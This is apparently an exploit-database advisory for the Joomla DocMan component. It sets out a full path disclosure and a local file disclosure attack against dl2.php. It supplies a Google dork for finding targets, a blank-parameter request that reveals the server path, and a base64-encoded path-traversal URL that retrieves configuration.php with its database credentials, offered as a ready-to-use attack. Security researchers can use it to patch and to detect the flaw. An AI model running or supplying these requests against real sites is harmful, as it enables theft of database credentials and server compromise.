Joomla Docman Path Disclosure / Local File Inclusion

[Aerosol]

# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)
# CWE: CWE-200(FPD) CWE-98(LFI/LFD)
# Risk: High
# Author: Hugo Santiago dos Santos
# Contact: hugo.s@linuxmail.org
# Date: 13/07/2015
# Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman
# Google Dork: inurl:"/components/com_docman/dl2.php"

# Xploit (FPD): 

 Get one target and just download with blank parameter: 
 http://www.site.com/components/com_docman/dl2.php?archive=0&file=

 In title will occur Full Path Disclosure of server.

# Xploit (LFD/LFI):

 http://www.site.com/components/com_docman/dl2.php?archive=0&file=[LDF]

 Let's Xploit...

 First we need use Xploit FPD to see the path of target, after that we'll Insert 'configuration.php' configuration database file and encode in Base64:

 ../../../../../../../target/www/configuration.php <= Not Ready

 http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA==  <= Ready !


And Now we have a configuration file...

Source